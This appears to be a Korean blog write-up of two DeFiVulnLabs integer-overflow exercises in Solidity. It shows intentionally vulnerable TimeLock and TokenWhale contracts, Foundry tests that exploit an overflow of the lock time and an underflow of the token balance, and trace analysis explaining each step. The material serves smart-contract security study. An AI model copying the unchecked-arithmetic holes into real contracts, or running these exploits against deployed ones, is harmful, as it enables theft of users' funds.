[BlockChain] DeFiVulnLabs - Integer overflow
- -
Integer overflow1
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "forge-std/Test.sol";
// This contract is designed to act as a time vault.
// User can deposit into this contract but cannot withdraw for atleast a week.
// User can also extend the wait time beyond the 1 week waiting period.
/*
1. Alice and bob both have 1 Ether balance
2. Deploy TimeLock Contract
3. Alice and bob both deposit 1 Ether to TimeLock, they need to wait 1 week to unlock Ether
4. Bob caused an overflow on his lockTime
5, Alice can't withdraw 1 Ether, because the lock time not expired.
6. Bob can withdraw 1 Ether, because the lockTime is overflow to 0
What happened?
Attack caused the TimeLock.lockTime to overflow,
and was able to withdraw before the 1 week waiting period.
*/
contract TimeLock {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease; // vulnerable
}
function withdraw() public {
require(balances[msg.sender] > 0, "Insufficient funds");
require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}
contract ContractTest is Test {
TimeLock TimeLockContract;
address alice;
address bob;
function setUp() public {
TimeLockContract = new TimeLock();
alice = vm.addr(1);
bob = vm.addr(2);
vm.deal(alice, 1 ether);
vm.deal(bob, 1 ether);
}
function testFailOverflow() public {
console.log("Alice balance", alice.balance);
console.log("Bob balance", bob.balance);
console.log("Alice deposit 1 Ether...");
vm.prank(alice);
TimeLockContract.deposit{value: 1 ether}();
console.log("Alice balance", alice.balance);
console.log("Bob deposit 1 Ether...");
vm.startPrank(bob);
TimeLockContract.deposit{value: 1 ether}();
console.log("Bob balance", bob.balance);
// exploit here
TimeLockContract.increaseLockTime(
type(uint).max + 1 - TimeLockContract.lockTime(bob)
);
console.log("Bob will successfully to withdraw, because the lock time is overflowed");
TimeLockContract.withdraw();
console.log("Bob balance", bob.balance);
vm.stopPrank();
vm.prank(alice);
console.log("Alice will fail to withdraw, because the lock time not expired");
TimeLockContract.withdraw(); // expect revert
}
}

코드 test결과이다.
Alice 잔액 하고 Bob 잔액하고 1 ether인데 Bob은 출금에 성공하였고 Alice는 실패하였다.

Trace를 분석해보자.
Alice address = 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf
bob address = 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF
Alice가 deposit 1 ether를 했을 때: lockTime = block.timestamp + 1 weeks = 604801
Bob이 deposit 1 ether를 했을 때: lockTime = block.timestamp + 1 weeks = 604801(같은 블록이라 block.tiemstamp가 같음)
increaseLockTime() = type(uint).max = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff(32byte)
type(uint).max + 1 = 0 -> overflow 발생
결국 bob.lockTime = 0 따라서 withdraw require문 통과
Vnlerability
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease;
}
exploit
TimeLockContract.increaseLockTime(
type(uint).max + 1 - TimeLockContract.lockTime(bob)
);
Integer overflow2
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "forge-std/Test.sol";
contract ContractTest is Test {
TokenWhaleChallenge TokenWhaleChallengeContract;
function testOverflow2() public {
address alice = vm.addr(1);
address bob = vm.addr(2);
TokenWhaleChallengeContract = new TokenWhaleChallenge();
TokenWhaleChallengeContract.TokenWhaleDeploy(address(this));
console.log("Player balance:",TokenWhaleChallengeContract.balanceOf(address(this)));
TokenWhaleChallengeContract.transfer(address(alice),800);
vm.prank(alice);
TokenWhaleChallengeContract.approve(address(this),1000);
TokenWhaleChallengeContract.transferFrom(address(alice),address(bob),500); //exploit here
console.log("Exploit completed, balance overflowed");
console.log("Player balance:",TokenWhaleChallengeContract.balanceOf(address(this)));
}
receive() payable external{}
}
contract TokenWhaleChallenge {
address player;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
string public name = "Simple ERC20 Token";
string public symbol = "SET";
uint8 public decimals = 18;
function TokenWhaleDeploy(address _player) public {
player = _player;
totalSupply = 1000;
balanceOf[player] = 1000;
}
function isComplete() public view returns (bool) {
return balanceOf[player] >= 1000000;
}
event Transfer(address indexed from, address indexed to, uint256 value);
function _transfer(address to, uint256 value) internal {
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
}
function transfer(address to, uint256 value) public {
require(balanceOf[msg.sender] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
_transfer(to, value);
}
event Approval(address indexed owner, address indexed spender, uint256 value);
function approve(address spender, uint256 value) public {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
}
function transferFrom(address from, address to, uint256 value) public {
require(balanceOf[from] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
require(allowance[from][msg.sender] >= value);
allowance[from][msg.sender] -= value;
_transfer(to, value);
}
}

코드 test결과이다.
Player balance가 1000에115792089237316195423570985008687907853269984665640564039457584007913129639636으로 바뀌었다.

Trace를 분석해 보자
Player address: 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496
Alice address: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf
Bob address: 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF
transfer(address(alice) 800)의 결과가 msg.sender에서 address(alice)에 800을 전송
approve(address(this), 1000)의 결과가 alice가 player에게 1000을 승인
transferFrom(address(alice), address(bob), 500)의 결과가 player에서 bob로 500을 전송
player.balance: 1000 -> alice에게 800 전송 -> 200 -> bob로 500 전송 : -300 underflow발생
그래서 115792089237316195423570985008687907853269984665640564039457584007913129639636으로 잔액 증가
Vulnerability
function _transfer(address to, uint256 value) internal {
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
}
exploit
TokenWhaleChallengeContract.transferFrom(address(alice),address(bob),500);
소중한 공감 감사합니다